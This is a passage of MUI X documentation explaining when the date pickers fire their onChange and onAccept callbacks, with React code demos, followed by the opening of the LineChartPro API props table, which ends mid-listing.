You can use the second argument passed to the `onChange` callback to get the validation error associated with the current value:

```tsx
<DatePicker
  onChange={(newValue, context) => {
    setValue(value);
    if (context.validationError == null) {
      runSomeLogic();
    }
  }}
/>
```

:::

### When is "onChange" called?

#### When the field calls "onChange"

When editing your value through the input(s) of your field, the picker will just re-publish the `onChange` callback.
Take a look at the [dedicated section](/x/react-date-pickers/lifecycle/#lifecycle-on-simple-fields) for more information.

#### When the user interacts with the view

If the component is controlled (if it has a `value` prop that isn't undefined),
clicking on a value will call `onChange` if the value to publish is different from the current value
(for example clicking on the already selected day in the `day` view will not call `onChange`).

If the component is not controlled, the behavior is the same, except if no value has ever been published, in which case clicking on the current value will fire `onChange`
(for example clicking on the already selected day in the `day` view will call `onChange` if `onChange` has never been called before).

Some views can decide not to call `onChange` for some value modifications.
The most common example is the mobile time views (using the [`TimeClock`](/x/react-date-pickers/time-clock/) component).
The `onChange` is only fired once when the dragging (touching) of the clock hand ends even though the UI updates on each position change.

#### When a value is selected using the action bar

If the component is controlled (if it has a `value` prop that isn't undefined),
clicking on any built-in actions will call `onChange` if the value to publish is different from the current value.

If the component is not controlled, the behavior is the same, except for the _Clear_, _Today_, and _OK_ actions that will call `onChange` if no value has ever been published, even if the current value equals the value to publish.

#### When a shortcut is picked

Clicking on a shortcut will call `onChange`.
You can find more information [in the dedicated doc section](/x/react-date-pickers/shortcuts/#behavior-when-selecting-a-shortcut).

## Lifecycle on pickers: "onAccept"

### Usage

The `onAccept` callback lets you get the final value selected by the user without caring about the intermediary steps.

```tsx
<DatePicker onAccept={(value) => sendValueToServer(value)} />
```

The `onAccept` callback receives a second argument `context` with extra information about why and how the value was accepted.

- `validationError`: the validation result of the accepted value.
- `source`: string that indicates where a change or acceptance originated from. The value is one of:
  - `'field'`: committed from the input field (typing, paste, arrow keys, clear, Enter, etc.).
  - `'view'`: any interaction inside the picker's view
  - `'unknown'`: unspecified or third‑party triggers.
- `shortcut` (optional): the shortcut metadata when the value was accepted via a shortcut selection.

For custom error handling, you can use the `validationError` property of the `context` object.

```tsx
<DatePicker
  onAccept={(newValue, context) => {
    if (context.validationError == null) {
      runSomeLogic();
    }
  }}
/>
```

The `source` property allows you to implement different behaviors depending on the source of the acceptance.

```tsx
<DatePicker
  onAccept={(newValue, context) => {
    if (context.validationError != null) {
      return; // ignore invalid values
    }

    switch (context.source) {
      case 'view':
        analytics.track('date_accepted_from_view', {
          value: newValue,
          shortcut: context.shortcut?.id,
        });
        break;
      case 'field':
        analytics.track('date_accepted_from_field', { value: newValue });
        break;
      case 'unknown':
      default:
        analytics.track('date_accepted_from_unknown', { value: newValue });
    }
  }}
/>
```

### When is "onAccept" called?

#### When the last view is completed

When a selection in the last view is made, `onAccept` will be called only if the `closeOnSelect` prop is equal to `true` and the value has been modified since the last time `onAccept` was called.
The default value of `closeOnSelect` depends on the component used:

- Date Picker and Date Range Picker: `true` on desktop and `false` on mobile variants;
- Time Picker, Date Time Picker, and Date Time Range Picker: `false` on desktop and mobile variants.

Here are a few examples:

:::info
The examples below are using the desktop and mobile variants of the pickers, but the behavior is exactly the same when using the responsive variant (`DatePicker`, `TimePicker`, ...) on a mobile or desktop environment.
:::

- ```tsx
  <DesktopDatePicker />
  ```

  - Default `views` prop: `['year', 'day']`
  - Default `closeOnSelect` prop: `true`

  **Behavior:** The picker will call `onAccept` when selecting the day.

- ```tsx
  <DesktopDatePicker closeOnSelect={false} />
  ```

  - Default `views` prop: `['year', 'day']`
  - Explicit `closeOnSelect` prop: `false`

  **Behavior:** The picker will not call `onAccept` when selecting a value.

  :::success
  If you want to set `closeOnSelect` to `false` on a desktop picker, you should consider enabling the action bar to let the user validate the value:

  ```tsx
  <DesktopDatePicker
    closeOnSelect={false}
    slotProps={{ actionBar: { actions: ['cancel', 'accept'] } }}
  />
  ```

  :::

- ```tsx
  <DesktopDatePicker views={['day', 'month', 'year']} />
  ```

  - Explicit `views` prop: `['day', 'month', 'year']`
  - Default `closeOnSelect` prop: `true`

  **Behavior:** The picker will call `onAccept` when selecting the year.

- ```tsx
  <DesktopTimePicker />
  ```

  - Default `views` prop: `['hours', 'minutes']` (plus a `meridiem` view if the locale is in 12-hours format)
  - Default `closeOnSelect` prop: `false`

  **Behavior:** The picker will not call `onAccept` when selecting the minutes or meridiem (if a 12-hour clock is used).

#### When the picker is manually closed

When the user presses <kbd class="key">Escape</kbd> or clicks outside the picker, `onAccept` is called with:

- the current value, if the last view has been completed
- the last accepted value, if the last view has not been completed

#### When a value is selected using the action bar

If the component is controlled (if it has a `value` prop that isn't undefined),
clicking on any built-in actions will call `onAccept` if the value to publish is different from the current value.

If the component is not controlled, the behavior is the same, except for the _Clear_, _Today_, and _OK_ actions that will call `onAccept` if no value has ever been published, even if the current value equals the value to publish.

#### When a shortcut is picked

Clicking on a shortcut will call `onAccept`, except if the `changeImportance` property has been set to `"set"` instead of `"accept"`.
You can find more information [in the dedicated doc section](/x/react-date-pickers/shortcuts/#behavior-when-selecting-a-shortcut).

## Classic scenarios

### "DatePicker" on desktop

#### Controlled "DesktopDatePicker": basic usage

```tsx
<DesktopDatePicker value={value} onChange={(newValue) => setValue(newValue)} />
```

**Action n°1:** Opening the picker

- Opens the picker on the `day` view

**Action n°2:** Clicking on a day

- Fires `onClose` (and closes the picker if the `open` prop is not controlled)
- Fires `onChange` with the selected day (keeps the time of the previous value)
- Fires `onAccept` with the selected day (keeps the time of the previous value)

#### Controlled "DesktopDatePicker": picking year, month and day

```tsx
<DesktopDatePicker
  value={value}
  onChange={(newValue) => setValue(newValue)}
  views={['year', 'month', 'day']}
/>
```

**Action n°1:** Opening the picker

- Opens the picker on the `day` view

**Action n°2:** Switch to the `year` view on the header

**Action n°3:** Clicking on a year

- Fires `onChange` with the selected year (keeps the month, date and time of the previous value)
- Moves to the `month` view

**Action n°4:** Clicking on a month

- Fires `onChange` with the selected month (keeps the date and time of the previous value)
- Moves to the `day` view

**Action n°4:** Clicking on a day

- Fires `onClose` (and closes the picker if the `open` prop is not controlled)
- Fires `onChange` with the selected day (keeps the time of the previous value)
- Fires `onAccept` with the selected day (keeps the time of the previous value)

### "DatePicker" on mobile

#### Controlled "MobileDatePicker": basic usage

```tsx
<MobileDatePicker value={value} onChange={(newValue) => setValue(newValue)} />
```

**Action n°1:** Opening the picker

- Opens the picker on the `day` view

**Action n°2:** Clicking on a day

- Fires `onChange` with the selected day (keeps the time of the previous value)

**Action n°3:** Clicking on the _OK_ action

- Fires `onClose` (and closes the picker if the `open` prop is not controlled)
- Fires `onAccept` with the selected day (keeps the time of the previous value)

## Only update for valid values

The `onChange` callback receives a 2nd parameter (context object) containing the validation error associated with the current value.
If you want to update your state only when the value is valid, you can ignore any `onChange` call with a non-null `validationError`.

In the example below, `onChange` will only be called if the date is valid and its year is 2022:

```tsx
import * as React from 'react';
import dayjs, { Dayjs } from 'dayjs';
import Stack from '@mui/material/Stack';
import Typography from '@mui/material/Typography';
import { LocalizationProvider } from '@mui/x-date-pickers/LocalizationProvider';
import { AdapterDayjs } from '@mui/x-date-pickers/AdapterDayjs';
import { DatePicker } from '@mui/x-date-pickers/DatePicker';

export default function LifeCycleIgnoreInvalidValue() {
  const [value, setValue] = React.useState<Dayjs | null>(null);

  return (
    <Stack spacing={2}>
      <LocalizationProvider dateAdapter={AdapterDayjs}>
        <DatePicker
          value={value}
          onChange={(newValue, context) => {
            if (context.validationError == null) {
              setValue(newValue);
            }
          }}
          minDate={dayjs('2022-01-01')}
          maxDate={dayjs('2022-12-31')}
        />
      </LocalizationProvider>
      <Typography>Value: {value == null ? 'null' : value.format('L')}</Typography>
    </Stack>
  );
}

```

## Server interaction

If the selected value is used to interact with the server, you might want to avoid sending all the intermediate states.

Especially if the user is setting the date using the keyboard arrow interaction.

In such a case, the recommended UI is to add a button for validating the form.
If for some reason, you need to send the data to the server without having the user pressing a validation button, you can debounce the `onChange` as follows.

The following demo shows how to extend the Date Field component by adding an `onAccept` prop, which is a debounced version of `onChange`.
You can find more information about the `onAccept` prop [in the dedicated doc section](/x/react-date-pickers/lifecycle/#lifecycle-on-pickers-quot-onaccept-quot).

```tsx
import * as React from 'react';
import dayjs, { Dayjs } from 'dayjs';
import Stack from '@mui/material/Stack';
import Typography from '@mui/material/Typography';
import Divider from '@mui/material/Divider';
import Button from '@mui/material/Button';
import { AdapterDayjs } from '@mui/x-date-pickers/AdapterDayjs';
import { LocalizationProvider } from '@mui/x-date-pickers/LocalizationProvider';
import { DateField, DateFieldProps } from '@mui/x-date-pickers/DateField';
import useControlled from '@mui/utils/useControlled';

type DisplayEventsProps = {
  logs: (Dayjs | null)[];
  title: string;
};
function DisplayEvents(props: DisplayEventsProps) {
  const { logs, title } = props;
  return (
    <Stack sx={{ minWidth: 180 }}>
      <Typography>{title}</Typography>
      <Divider />
      <Typography component="pre" sx={{ maxHeight: '15rem', overflow: 'auto' }}>
        {logs
          .map(
            (value) =>
              `- ${
                // eslint-disable-next-line no-nested-ternary
                value === null
                  ? 'null'
                  : value.isValid()
                    ? value.format('DD/MM/YYYY')
                    : 'Invalid Date'
              }`,
          )
          .join('\n')}
      </Typography>
    </Stack>
  );
}

// debounce function
function debounce(func: (...arg: any) => void, wait = 500) {
  let timeout: ReturnType<typeof setTimeout>;
  function debounced(...args: any) {
    const later = () => {
      func(...args);
    };
    clearTimeout(timeout);
    timeout = setTimeout(later, wait);
  }

  debounced.clear = () => {
    clearTimeout(timeout);
  };

  return debounced;
}

function DateFieldWithAccept(
  props: DateFieldProps & { onAccept: (value: Dayjs | null) => void },
) {
  const { value: valueProp, defaultValue, onAccept, onChange, ...other } = props;

  const [value, setValue] = useControlled<Dayjs | null>({
    name: 'FieldAcceptValue',
    state: 'value',
    controlled: valueProp,
    default: defaultValue,
  });

  // Debounced function needs to be memoized to keep the same timeout between each render.
  // For the same reason, the `onAccept` needs to be wrapped in useCallback.
  const debouncedOnAccept = React.useMemo(
    () => debounce(onAccept, 1000),
    [onAccept],
  );

  return (
    <DateField
      value={value}
      onChange={(newValue, context) => {
        setValue(newValue);
        debouncedOnAccept(newValue);
        onChange?.(newValue, context);
      }}
      {...other}
    />
  );
}

export default function ServerInteraction() {
  const [logsFromOnChange, setLogsFromOnChange] = React.useState<(Dayjs | null)[]>(
    [],
  );
  const [logsFromOnAccept, setLogsFromOnAccept] = React.useState<(Dayjs | null)[]>(
    [],
  );

  const onAccept = React.useCallback((newValue: Dayjs | null) => {
    setLogsFromOnAccept((prev) => [newValue, ...prev]);
  }, []);

  return (
    <LocalizationProvider dateAdapter={AdapterDayjs}>
      <Stack sx={{ textAlign: 'center', alignItems: 'center' }}>
        <DateFieldWithAccept
          onAccept={onAccept}
          onChange={(newValue) => {
            setLogsFromOnChange((prev) => [newValue, ...prev]);
          }}
          sx={{ width: 150 }}
          label="debounced field"
          defaultValue={dayjs('2022-04-17')}
        />
        <Stack direction="row" justifyContent="space-between" sx={{ p: 2 }}>
          <DisplayEvents logs={logsFromOnChange} title="onChange" />
          <Divider />
          <DisplayEvents logs={logsFromOnAccept} title="onAccept" />
        </Stack>

        <Button
          sx={{ ml: 'auto' }}
          variant="outlined"
          onClick={() => {
            setLogsFromOnChange([]);
            setLogsFromOnAccept([]);
          }}
        >
          Clear logs
        </Button>
      </Stack>
    </LocalizationProvider>
  );
}

```

### Source values in `context.source`

Pickers expose a simplified `context.source` string that indicates where a change or acceptance originated from.
The value is one of:

- `'field'`: committed from the input field (typing, paste, arrow keys, clear, Enter, etc.).
- `'view'`: any interaction inside the picker's view
- `'unknown'`: unspecified or third‑party triggers.

Example usage:

```tsx
<DatePicker
  onAccept={(value, context) => {
    if (context.validationError) return;

    switch (context.source) {
      case 'view':
        analytics.track('date_accept_from_view', {
          value,
          shortcut: context.shortcut?.id,
        });
        break;
      case 'field':
        analytics.track('date_accept_from_field', { value });
        break;
      case 'unknown':
      default:
        analytics.track('date_accept_from_unknown', { value });
    }
  }}
/>
```

---

# Source: https://mui.com/x/api/charts/line-chart-pro.md

# LineChartPro API

## Demos

For examples and details on the usage of this React component, visit the component demo pages:

- Charts - Export
- [Charts - Lines](/x/react-charts/lines/)
- Charts - Zoom and pan

## Import

```jsx
import { LineChartPro } from '@mui/x-charts-pro/LineChartPro';
// or
import { LineChartPro } from '@mui/x-charts-pro';
```

## Props

| Name | Type | Default | Required | Description |
|------|------|---------|----------|-------------|
| series | `Array<object>` | - | Yes |  |
| axisHighlight | `{ x?: 'band' \| 'line' \| 'none', y?: 'band' \| 'line' \| 'none' }` | `{ x: 'line' }` | No |  |
| brushConfig | `{ enabled?: bool, preventHighlight?: bool, preventTooltip?: bool }` | - | No |  |
| colors | `Array<string> \| func` | `rainbowSurgePalette` | No |  |
| dataset | `Array<object>` | - | No |  |
| disableAxisListener | `bool` | `false` | No |  |
| disableLineItemHighlight | `bool` | - | No |  |
| experimentalFeatures | `{ preferStrictDomainInLineCharts?: bool }` | - | No |  |
| grid | `{ horizontal?: bool, vertical?: bool }` | - | No |  |
| height | `number` | - | No |  |
| hiddenItems | `Array<{ dataIndex?: number, seriesId?: number \| string, type: 'line' }>` | - | No |  |
| hideLegend | `bool` | - | No |  |
| highlightedAxis | `Array<{ axisId: number \| string, dataIndex: number }>` | - | No |  |
| highlightedItem | `{ dataIndex?: number, seriesId: number \| string }` | - | No |  |
| id | `string` | - | No |  |
| initialHiddenItems | `Array<{ dataIndex?: number, seriesId?: number \| string, type: 'line' }>` | - | No |  |
| initialZoom | `Array<{ axisId: number \| string, end: number, start: number }>` | - | No |  |
| loading | `bool` | `false` | No |  |
| localeText | `object` | - | No |  |
| margin | `number \| { bottom?: number, left?: number, right?: number, top?: number }` | - | No |  |
| onAreaClick | `func` | - | No |  |
| onAxisClick | `function(event: MouseEvent, data: null \| ChartsAxisData) => void` | - | No |  |
| onHiddenItemsChange | `function(hiddenItems: Array<VisibilityIdentifier>) => void` | - | No |  |
| onHighlightChange | `function(highlightedItem: HighlightItemData \| null) => void` | - | No |  |
| onHighlightedAxisChange | `function(axisItems: Array<AxisItemIdentifier>) => void` | - | No |  |
| onLineClick | `func` | - | No |  |
| onMarkClick | `func` | - | No |  |
| onTooltipItemChange | `function(tooltipItem: SeriesItemIdentifier<TSeries> \| null) => void` | - | No |  |
| onZoomChange | `function(zoomData: Array<ZoomData>) => void` | - | No |  |
| showToolbar | `bool` | `false` | No |  |
| skipAnimation | `bool` | `false` | No |  |
| slotProps | `object` | `{}` | No |  |
| slots | `object` | `{}` | No |  |
| tooltipItem | `{ dataIndex?: number, seriesId: number \| string, type: 'line' }` | - | No |  |
| width | `number` | - | No |  |
| xAxis | `Array<{ axis?: 'x', barGapRatio?: number, categoryGapRatio?: number, classes?: object, colorMap?: { colors: Array<string>, type: 'ordinal', unknownColor?: string, values?: Array<Date \| number \| string> } \| { color: Array<string> \| func, max?: Date \| number, min?: Date \| number, type: 'continuous' } \| { colors: Array<string>, thresholds: Array<Date \| number>, type: 'piecewise' }, data?: array, dataKey?: string, disableLine?: bool, disableTicks?: bool, domainLimit?: 'nice' \| 'strict' \| func, groups?: Array<{ getValue: func, tickLabelStyle?: object, tickSize?: number }>, height?: number, hideTooltip?: bool, id?: number \| string, ignoreTooltip?: bool, label?: string, labelStyle?: object, offset?: number, ordinalTimeTicks?: Array<'biweekly' \| 'days' \| 'hours' \| 'months' \| 'quarterly' \| 'weeks' \| 'years' \| { format: func, getTickNumber: func, isTick: func }>, position?: 'bottom' \| 'none' \| 'top', reverse?: bool, scaleType?: 'band', slotProps?: object, slots?: object, sx?: Array<func \| object \| bool> \| func \| object, tickInterval?: 'auto' \| array \| func, tickLabelInterval?: 'auto' \| func, tickLabelMinGap?: number, tickLabelPlacement?: 'middle' \| 'tick', tickLabelStyle?: object, tickMaxStep?: number, tickMinStep?: number, tickNumber?: number, tickPlacement?: 'end' \| 'extremities' \| 'middle' \| 'start', tickSize?: number, tickSpacing?: number, valueFormatter?: func, zoom?: { filterMode?: 'discard' \| 'keep', maxEnd?: number, maxSpan?: number, minSpan?: number, minStart?: number, panning?: bool, slider?: { enabled?: bool, preview?: bool, showTooltip?: 'always' \| 'hover' \| 'never', size?: number }, step?: number } \| bool } \| { axis?: 'x', classes?: object, colorMap?: { colors: Array<string>, type: 'ordinal', unknownColor?: string, values?: Array<Date \| number \| string> } \| { color: Array<string> \| func, max?: Date \| number, min?: Date \| number, type: 'continuous' } \| { colors: Array<string>, thresholds: Array<Date \| number>, type: 'piecewise' }, data?: array, dataKey?: string, disableLine?: bool, disableTicks?: bool, domainLimit?: 'nice' \| 'strict' \| func, groups?: Array<{ getValue: func, tickLabelStyle?: object, tickSize?: number }>, height?: number, hideTooltip?: bool, id?: number \| string, ignoreTooltip?: bool, label?: string, labelStyle?: object, offset?: number, ordinalTimeTicks?: Array<'biweekly' \| 'days' \| 'hours' \| 'months' \| 'quarterly' \| 'weeks' \| 'years' \| { format: func, getTickNumber: func, isTick: func }>, position?: 'bottom' \| 'none' \| 'top', reverse?: bool, scaleType?: 'point', slotProps?: object, slots?: object, sx?: Array<func \| object \| bool> \| func \| object, tickInterval?: 'auto' \| array \| func, tickLabelInterval?: 'auto' \| func, tickLabelMinGap?: number, tickLabelPlacement?: 'middle' \| 'tick', tickLabelStyle?: object, tickMaxStep?: number, tickMinStep?: number, tickNumber?: number, tickPlacement?: 'end' \| 'extremities' \| 'middle' \| 'start', tickSize?: number, tickSpacing?: number, valueFormatter?: func, zoom?: { filterMode?: 'discard' \| 'keep', maxEnd?: number, maxSpan?: number, minSpan?: number, minStart?: number, panning?: bool, slider?: { enabled?: bool, preview?: bool, showTooltip?: 'always' \| 'hover' \| 'never', size?: number }, step?: number } \| bool } \| { axis?: 'x', classes?: object, colorMap?: { color: Array<string> \| func, max?: Date \| number, min?: Date \| number, type: 'continuous' } \| { colors: Array<string>, thresholds: Array<Date \| number>, type: 'piecewise' }, data?: array, dataKey?: string, disableLine?: bool, disableTicks?: bool, domainLimit?: 'nice' \| 'strict' \| func, height?: number, hideTooltip?: bool, id?: number \| string, ignoreTooltip?: bool, label?: string, labelStyle?: object, max?: number, min?: number, offset?: number, position?: 'bottom' \| 'none' \| 'top', reverse?: bool, scaleType?: 'log', slotProps?: object, slots?: object, sx?: Array<func \| object \| bool> \| func \| object, tickInterval?: 'auto' \| array \| func, tickLabelInterval?: 'auto' \| func, tickLabelMinGap?: number, tickLabelPlacement?: 'middle' \| 'tick', tickLabelStyle?: object, tickMaxStep?: number, tickMinStep?: number, tickNumber?: number, tickPlacement?: 'end' \| 'extremities' \| 'middle' \| 'start', tickSize?: number, tickSpacing?: number, valueFormatter?: func, zoom?: { filterMode?: 'discard' \| 'keep', maxEnd?: number, maxSpan?: number, minSpan?: number, minStart?: number, panning?: bool, slider?: { enabled?: bool, preview?: bool, showTooltip?: 'always' \| 'hover' \| 'never', size?: number }, step?: number } \| bool } \| { axis?: 'x', classes?: object, colorMap?: { color: Array<string> \| func, max?: Date \| number, min?: Date \| number, type: 'continuous' } \| { colors: Array<string>, thresholds: Array<Date \| number>, type: 'piecewise' }, constant?: number, data?: array, dataKey?: string, disableLine?: bool, disableTicks?: bool, domainLimit?: 'nice' \| 'strict' \| func, height?: number, hideTooltip?: bool, id?: number \| string, ignoreTooltip?: bool, label?: string, labelStyle?: object, max?: number, min?: number, offset?: number, position?: 'bottom' \| 'none' \| 'top', reverse?: bool, scaleType?: 'symlog', slotProps?: object, slots?: object, sx?: Array<func \| object \| bool> \| func \| object, tickInterval?: 'auto' \| array \| func, tickLabelInterval?: 'auto' \| func, tickLabelMinGap?: number, tickLabelPlacement?: 'middle' \| 'tick', tickLabelStyle?: object, tickMaxStep?: number, tickMinStep?: number, tickNumber?: number, tickPlacement?: 'end' \| 'extremities' \| 'middle' \| 'start', tickSize?: number, tickSpacing?: number, valueFormatter?: func, zoom?: { filterMode?: 'discard' \| 'keep', maxEnd?: number, maxSpan?: number, minSpan?: number, minStart?: number, panning?: bool, slider?: { enabled?: bool, preview?: bool, showTooltip?: 'always' \| 'hover' \| 'never', size?: number }, step?: number } \| bool } \| { axis?: 'x', classes?: object, colorMap?: { color: Array<string> \| func, max?: Date \| number, min?: Date \| number, type: 'continuous' } \| { colors: Array<string>, thresholds: Array<Date \| number>, type: 'piecewise' }, data?: array, dataKey?: string, disableLine?: bool, disableTicks?: bool, domainLimit?: 'nice' \| 'strict' \| func, height?: number, hideTooltip?: bool, id?: number \| string, ignoreTooltip?: bool, label?: string, labelStyle?: object, max?: number, min?: number, offset?: number, position?: 'bottom' \| 'none' \| 'top', reverse?: bool, scaleType?: 'pow', slotProps?: object, slots?: object, sx?: Array<func \| object \| bool> \| func \| object, tickInterval?: 'auto' \| array \| func, tickLabelInterval?: 'auto' \| func, tickLabelMinGap?: number, tickLabelPlacement?: 'middle' \| 'tick', tickLabelStyle?: object, tickMaxStep?: number, tickMinStep?: number, tickNumber?: number, tickPlacement?: 'end' \| 'extremities' \| 'middle' \| 'start', tickSize?: number, tickSpacing?: number, valueFormatter?: func, zoom?: { filterMode?: 'discard' \| 'keep', maxEnd?: number, maxSpan?: number, minSpan?: number, minStart?: number, panning?: bool, slider?: { enabled?: bool, preview?: bool, showTooltip?: 'always' \| 'hover' \| 'never', size?: number }, step?: number } \| bool } \| { axis?: 'x', classes?: object, colorMap?: { color: Array<string> \| func, max?: Date \| number, min?: Date \| number, type: 'continuous' } \| { colors: Array<string>, thresholds: Array<Date \| number>, type: 'piecewise' }, data?: array, dataKey?: string, disableLine?: bool, disableTicks?: bool, domainLimit?: 'nice' \| 'strict' \| func, height?: number, hideTooltip?: bool, id?: number \| string, ignoreTooltip?: bool, label?: string, labelStyle?: object, max?: number, min?: number, offset?: number, position?: 'bottom' \| 'none' \| 'top', reverse?: bool, scaleType?: 'sqrt', slotProps?: object, slots?: object, sx?: Array<func \| object \| bool> \| func \| object, tickInterval?: 'auto' \| array \| func, tickLabelInterval?: 'auto' \| func, tickLabelMinGap?: number, tickLabelPlacement?: 'middle' \| 'tick', tickLabelStyle?: object, tickMaxStep?: number, tickMinStep?: number, tickNumber?: number, tickPlacement?: 'end' \| 'extremities' \| 'middle' \| 'start', tickSize?: number, tickSpacing?: number, valueFormatter?: func, zoom?: { filterMode?: 'discard' \| 'keep', maxEnd?: number, maxSpan?: number, minSpan?: number, minStart?: number, panning?: bool, slider?: { enabled?: bool, preview?: bool, showTooltip?: 'always' \| 'hover' \| 'never', size?: number }, step?: number } \| bool } \| { axis?: 'x', classes?: object, colorMap?: { color: Array<string> \| func, max?: Date \| number, min?: Date \| number, type: 'continuous' } \| { colors: Array<string>, thresholds: Array<Date \| number>, type: 'piecewise' }, data?: array, dataKey?: string, disableLine?: bool, disableTicks?: bool, domainLimit?: 'nice' \| 'strict' \| func, height?: number, hideTooltip?: bool, id?: number \| string, ignoreTooltip?: bool, label?: string, labelStyle?: object, max?: number \| { valueOf: func }, min?: number \| { valueOf: func }, offset?: number, position?: 'bottom' \| 'none' \| 'top', reverse?: bool, scaleType?: 'time', slotProps?: object, slots?: object, sx?: Array<func \| object \| bool> \| func \| object, tickInterval?: 'auto' \| array \| func, tickLabelInterval?: 'auto' \| func, tickLabelMinGap?: number, tickLabelPlacement?: 'middle' \| 'tick', tickLabelStyle?: object, tickMaxStep?: number, tickMinStep?: number, tickNumber?: number, tickPlacement?: 'end' \| 'extremities' \| 'middle' \| 'start', tickSize?: number, tickSpacing?: number, valueFormatter?: func, zoom?: { filterMode?: 'discard' \| 'keep', maxEnd?: number, maxSpan?: number, minSpan?: number, minStart?: number, panning?: bool, slider?: { enabled?: bool, preview?: bool, showTooltip?: 'always' \| 'hover' \| 'never', size?: number }, step?: number } \| bool } \| { axis?: 'x', classes?: object, colorMap?: { color: Array<string> \| func, max?: Date \| number, min?: Date \| number, type: 'continuous' } \| { colors: Array<string>, thresholds: Array<Date \| number>, type: 'piecewise' }, data?: array, dataKey?: string, disableLine?: bool, disableTicks?: bool, domainLimit?: 'nice' \| 'strict' \| func, height?: number, hideTooltip?: bool, id?: number \| string, ignoreTooltip?: bool, label?: string, labelStyle?: object, max?: number \| { valueOf: func }, min?: number \| { valueOf: func }, offset?: number, position?: 'bottom' \| 'none' \| 'top', reverse?: bool, scaleType?: 'utc', slotProps?: object, slots?: object, sx?: Array<func \| object \| bool> \| func \| object, tickInterval?: 'auto' \| array \| func, tickLabelInterval?: 'auto' \| func, tickLabelMinGap?: number, tickLabelPlacement?: 'middle' \| 'tick', tickLabelStyle?: object, tickMaxStep?: number, tickMinStep?: number, tickNumber?: number, tickPlacement?: 'end' \| 'extremities' \| 'middle' \| 'start', tickSize?: number, tickSpacing?: number, valueFormatter?: func, zoom?: { filterMode?: 'discard' \| 'keep', maxEnd?: number, maxSpan?: number, minSpan?: number, minStart?: number, panning?: bool, slider?: { enabled?: bool, preview?: bool, showTooltip?: 'always' \| 'hover' \| 'never', size?: number }, step?: number } \| bool } \| { axis?: 'x', classes?: object, colorMap?: { color: Array<string> \| func, max?: Date \| number, min?: Date \| number, type: 'continuous' } \| { colors: Array<string>, thresholds: Array<Date \| number>, type: 'piecewise' }, data?: array, dataKey?: string, disableLine?: bool, disableTicks?: bool, domainLimit?: 'nice' \| 'strict' \| func, height?: number, hideTooltip?: bool, id?: number \| string, ignoreTooltip?: bool, label?: string, labelStyle?: object, max?: number, min?: number, offset?: number, position?: 'bottom' \| 'none' \| 'top', reverse?: bool, scaleType?: 'linear', slotProps?: object, slots?: object, sx?: Array<func \| object \| bool> \| func \| object, tickInterval?: 'auto' \| array \| func, tickLabelInterval?: 'auto' \| func, tickLabelMinGap?: number, tickLabelPlacement?: 'middle' \| 'tick', tickLabelStyle?: object, tickMaxStep?: number, tickMinStep?: number, tickNumber?: number, tickPlacement?: 'end' \| 'extremities' \| 'middle' \| 'start', tickSize?: number, tickSpacing?: number, valueFormatter?: func, zoom?: { filterMode?: 'discard' \| 'keep', maxEnd?: number, maxSpan?: number, minSpan?: number, minStart?: number, panning?: bool, slider?: { enabled?: bool, preview?: bool, showTooltip?: 'always' \| 'hover' \| 'never', size?: number }, step?: number } \| bool }>` | - | No |  |
| yAxis | `Array<{ axis?: 'y', barGapRatio?: number, categoryGapRatio?: number, classes?: object, colorMap?: { colors: Array<string>, type: 'ordinal', unknownColor?: string, values?: Array<Date \| number \| string> } \| { color: Array<string> \| func, max?: Date \| number, min?: Date \| number, type: 'continuous' } \| { colors: Array<string>, thresholds: Array<Date \| number>, type: 'piecewise' }, data?: array, dataKey?: string, disableLine?: bool, disableTicks?: bool, domainLimit?: 'nice' \| 'strict' \| func, groups?: Array<{ getValue: func, tickLabelStyle?: object, tickSize?: number }>, hideTooltip?: bool, id?: number \| string, ignoreTooltip?: bool, label?: string, labelStyle?: object, offset?: number, ordinalTimeTicks?: Array<'biweekly' \| 'days' \| 'hours' \| 'months' \| 'quarterly' \| 'weeks' \| 'years' \| { format: func, getTickNumber: func, isTick: func }>, position?: 'left' \| 'none' \| 'right', reverse?: bool, scaleType?: 'band', slotProps?: object, slots?: object, sx?: Array<func \| object \| bool> \| func \| object, tickInterval?: 'auto' \| array \| func, tickLabelInterval?: 'auto' \| func, tickLabelPlacement?: 'middle' \| 'tick', tickLabelStyle?: object, tickMaxStep?: number, tickMinStep?: number, tickNumber?: number, tickPlacement?: 'end' \| 'extremities' \| 'middle' \| 'start', tickSize?: number, tickSpacing?: number, valueFormatter?: func, width?: number, zoom?: { filterMode?: 'discard' \| 'keep', maxEnd?: number, maxSpan?: number, minSpan?: number, minStart?: number, panning?: bool, slider?: { enabled?: bool, preview?: bool, showTooltip?: 'always' \| 'hover' \| 'never', size?: number }, step?: number } \| bool } \| { axis?: 'y', classes?: object, colorMap?: { colors: Array<string>, type: 'ordinal', unknownColor?: string, values?: Array<Date \| number \| string> } \| { color: Array<string> \| func, max?: Date \| number, min?: Date \| number, type: 'continuous' } \| { colors: Array<string>, thresholds: Array<Date \| number>, type: 'piecewise' }, data?: array, dataKey?: string, disableLine?: bool, disableTicks?: bool, domainLimit?: 'nice' \| 'strict' \| func, groups?: Array<{ getValue: func, tickLabelStyle?: object, tickSize?: number }>, hideTooltip?: bool, id?: number \| string, ignoreTooltip?: bool, label?: string, labelStyle?: object, offset?: number, ordinalTimeTicks?: Array<'biweekly' \| 'days' \| 'hours' \| 'months' \| 'quarterly' \| 'weeks' \| 'years' \| { format: func, getTickNumber: func, isTick: func }>, position?: 'left' \| 'none' \| 'right', reverse?: bool, scaleType?: 'point', slotProps?: object, slots?: object, sx?: Array<func \| object \| bool> \| func \| object, tickInterval?: 'auto' \| array \| func, tickLabelInterval?: 'auto' \| func, tickLabelPlacement?: 'middle' \| 'tick', tickLabelStyle?: object, tickMaxStep?: number, tickMinStep?: number, tickNumber?: number, tickPlacement?: 'end' \| 'extremities' \| 'middle' \| 'start', tickSize?: number, tickSpacing?: number, valueFormatter?: func, width?: number, zoom?: { filterMode?: 'discard' \| 'keep', maxEnd?: number, maxSpan?: number, minSpan?: number, minStart?: number, panning?: bool, slider?: { enabled?: bool, preview?: bool, showTooltip?: 'always' \| 'hover' \| 'never', size?: number }, step?: number } \| bool } \| { axis?: 'y', classes?: object, colorMap?: { color: Array<string> \| func, max?: Date \| number, min?: Date \| number, type: 'continuous' } \| { colors: Array<string>, thresholds: Array<Date \| number>, type: 'piecewise' }, data?: array, dataKey?: string, disableLine?: bool, disableTicks?: bool, domainLimit?: 'nice' \| 'strict' \| func, hideTooltip?: bool, id?: number \| string, ignoreTooltip?: bool, label?: string, labelStyle?: object, max?: number, min?: number, offset?: number, position?: 'left' \| 'none' \| 'right', reverse?: bool, scaleType?: 'log', slotProps?: object, slots?: object, sx?: Array<func \| object \| bool> \| func \| object, tickInterval?: 